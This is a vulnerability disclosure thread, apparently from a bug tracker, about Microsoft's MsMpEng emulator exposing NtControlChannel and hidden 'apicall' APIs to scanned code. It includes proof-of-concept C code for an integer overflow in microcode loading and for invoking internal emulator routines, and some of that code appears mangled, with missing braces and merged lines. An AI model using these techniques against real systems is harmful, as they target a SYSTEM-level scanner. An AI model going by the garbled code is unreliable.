New issue
Advanced search Search tips
Starred by 5 users

Issue metadata

Status: Fixed
Closed: May 2017

Sign in to add a comment

Issue 1260: MsMpEng: Multiple problems handling ntdll!NtControlChannel commands

Reported by, May 12 2017 Project Member

Issue description

MsMpEng includes a full system x86 emulator that is used to execute any untrusted files that look like PE executables. The emulator runs as NT AUTHORITY\SYSTEM and isn't sandboxed.

Browsing the list of win32 APIs that the emulator supports, I noticed ntdll!NtControlChannel, an ioctl-like routine that allows emulated code to control the emulator.

You can simply create an import library like this and then call it from emulated code:

$ cat ntdll.def
LIBRARY ntdll.dll
$ lib /def:ntdll.def /machine:x86 /out:ntdll.lib /nologo
   Creating library ntdll.lib and object ntdll.exp
$ cat intoverflow.c
#include <windows.h>
#include <stdint.h>
#include <stdlib.h>
#include <limits.h>

#pragma pack(1)

struct {
    uint64_t start_va;
    uint32_t size;
    uint32_t ecnt;
    struct {
        uint16_t opcode;
        uint16_t flags;
        uint32_t address;
    } data;
} microcode;

int main(int argc, char **argv)
    microcode.start_va = (uint64_t) GetProcAddress; // just some trusted page
    microcode.size = 1;
    microcode.ecnt = (UINT32_MAX + 1ULL + 8ULL) / 8; = 0x310f; // rdtsc = 0; = microcode.start_va;
    NtControlChannel(0x12, &microcode);
    _asm rdtsc
    return 0;
$ cl intoverflow.c ntdll.lib
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.


It's not clear to me if this was intended to be exposed to attackers, but there are problems with many of the IOCTLs.

* Command 0x0C allows allows you to parse arbitrary-attacker controlled RegularExpressions to Microsoft GRETA (a library abandoned since the early 2000s). This library is not safe to process untrusted Regex, a testcase that crashes MsMpEng attached. Note that only packed executables can use RegEx, the attached sample was packed with UPX. ¯\_(ツ)_/¯

* Command 0x12 allows you to load additional "microcode" that can replace opcodes. At the very least, there is an integer overflow calculating number of opcodes provided (testcase attached). You can also redirect execution to any address on a "trusted" page, but I'm not sure I understand the full implications of that.

* Various commands allow you to change execution parameters, set and read scan attributes and UFS metadata (example attached). This seems like a privacy leak at least, as an attacker can query the research attributes you set and then retrieve it via scan result.

The password for all archives is "msmpeng".

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.
35.6 KB Download
667 bytes View Download
223 bytes View Download
31.7 KB Download
35.9 KB Download

Comment 1 by, May 16 2017

Project Member
MSRC 38700

Comment 2 by, May 22 2017

Project Member
I noticed additional routines (like NTDLL.DLL!ThrdMgr_SwitchThreads) that could not be imported, and looked into how they work.

It turns out the emulator defines a new opcode called "apicall" that has an imm32 operand. If you disassemble one of the routines that can be imported, you'll see a small stub that uses an undefined opcode - that is an apicall. To use the apicall instruction, you need to calculate crc32(modulename) ^ crc32(procname), and then use that as the 32 bit immediate operand.

If you think that sounds crazy, you're not alone.

So if we wanted to call NTDLL.DLL!MpUfsMetadataOp, we would need to calculate crc32("NTDLL.DLL") ^ crc32("MpUfsMetadataOp"), then encode that as 0x0f 0xff 0xf0 <result>. There is an example wrapper in C that demonstrates its usage below.

I'm planning to wait to see if Microsoft really intended to expose these additional apis to attackers before I audit more of them. It looks like the other architectures, like MSIL, also have an apicall instruction.

$ cat apicall.c 
#include <windows.h>
#include <stdint.h>
#include <stdlib.h>
#include <limits.h>

#pragma pack(1)
#pragma comment(linker, "/SECTION:.text,ERW")

uint32_t crcstr(unsigned char *message) {
   int i, j;
   unsigned int byte, crc, mask;

   i = 0;
   crc = 0xFFFFFFFF;
   while (message[i] != 0) {
      byte = message[i];            // Get next byte.
      crc = crc ^ byte;
      for (j = 7; j >= 0; j--) {    // Do eight times.
         mask = -(crc & 1);
         crc = (crc >> 1) ^ (0xEDB88320 & mask);
      i = i + 1;
   return crc;

DWORD MpApiCall(PCHAR Module, PCHAR ProcName, ...)
    DWORD Result;
    DWORD ApiCrc;

    ApiCrc = crcstr(Module) ^ crcstr(ProcName);

    _asm {
        mov     eax, dword ptr ApiCrc
        mov     [apicode], eax
        mov     ebx, esp
        lea     esp, ProcName
        _emit   0x0f
        _emit   0xff
        _emit   0xf0
        _emit   0x00
        _emit   0x00
        _emit   0x00
        _emit   0x00
        mov     esp, ebx
        mov     Result, eax

    return Result;

#define MPUFS_ATTR_READ         0x10000000
#define MPUFS_ATTR_WRITE        0x20000000
#define MPUFS_ATTR_RECURSIVE    0x01000000
#define MPUFS_ATTR_BYTE         0x00000000
#define MPUFS_ATTR_SHORT        0x00000001
#define MPUFS_ATTR_LONG         0x00000002
#define MPUFS_ATTR_LONGLONG     0x00000003
#define MPUFS_ATTR_BOOL         0x00000004
#define MPUFS_ATTR_ANSISTR      0x00000005
#define MPUFS_ATTR_WIDESTR      0x00000006

int main(int argc, char **argv)

    MpApiCall("NTDLL.DLL", "MpUfsMetadataOp", MPUFS_ATTR_WRITE | MPUFS_ATTR_ANSISTR, L"TestString", (uint64_t) "Testing");

    return 0;
1.6 KB View Download

Comment 3 by, May 25 2017

Project Member
From what I can tell, Microsoft silently patched this yesterday in mpengine 1.1.13804.0.

They also fixed  issue 1258 ,  issue 1259 ,  issue 1260  and  issue 1261 .

Comment 4 by, May 25 2017

Project Member
Labels: -Restrict-View-Commit
Status: Fixed (was: New)
Marking fixed.

Sign in to add a comment